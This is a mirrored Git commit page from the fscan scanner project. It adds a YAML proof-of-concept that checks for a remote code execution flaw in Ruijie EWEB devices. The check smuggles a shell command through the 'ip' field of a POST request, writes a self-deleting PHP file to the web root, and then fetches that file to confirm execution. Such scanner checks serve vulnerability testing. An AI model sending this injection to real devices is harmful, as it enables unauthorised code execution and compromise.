mirror of
https://github.com/shadow1ng/fscan.git
synced 2026-09-26 21:21:53 +08:00
优化ip解析模块
This commit is contained in:
@@ -0,0 +1,23 @@
|
||||
name: poc-yaml-ruijie-eweb-rce-cnvd-2021-09650
|
||||
set:
|
||||
r1: randomLowercase(4)
|
||||
r2: randomLowercase(4)
|
||||
phpcode: >
|
||||
"<?php echo '" + r1 + "'; unlink(__FILE__); ?>"
|
||||
payload: base64(phpcode)
|
||||
rules:
|
||||
- method: POST
|
||||
path: /guest_auth/guestIsUp.php
|
||||
body: |
|
||||
ip=127.0.0.1|echo '{{payload}}' | base64 -d > {{r2}}.php&mac=00-00
|
||||
expression: |
|
||||
response.status == 200
|
||||
- method: GET
|
||||
path: /guest_auth/{{r2}}.php
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(bytes(r1))
|
||||
detail:
|
||||
author: White(https://github.com/WhiteHSBG)
|
||||
links:
|
||||
- https://xz.aliyun.com/t/9016?page=1
|
||||
- https://www.ruijie.com.cn/gy/xw-aqtg-gw/86747/
|
||||
Reference in New Issue
Block a user